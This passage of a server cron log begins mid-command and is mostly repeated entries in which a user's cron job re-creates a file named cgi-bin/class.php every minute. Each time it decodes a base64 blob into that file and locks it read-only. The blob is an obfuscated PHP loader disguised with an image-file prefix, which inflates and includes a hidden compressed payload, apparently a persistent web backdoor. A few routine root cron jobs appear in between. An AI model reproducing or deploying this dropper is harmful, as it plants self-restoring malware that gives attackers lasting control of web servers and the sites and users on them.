"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:12:01 server CROND[22556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:12:01 server CROND[22557]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 15:13:01 server CROND[22716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:14:01 server CROND[22777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:15:01 server CROND[22836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:15:01 server CROND[22837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:15:01 server CROND[22838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:16:01 server CROND[22950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:17:01 server CROND[23011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:18:01 server CROND[23065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:19:01 server CROND[23214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:20:01 server CROND[23277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:20:01 server CROND[23278]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:20:01 server CROND[23276]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:20:01 server CROND[23279]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 15:20:01 server CROND[23280]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 15:21:01 server CROND[23398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:22:01 server CROND[23458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:23:01 server CROND[23530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:24:01 server CROND[23668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
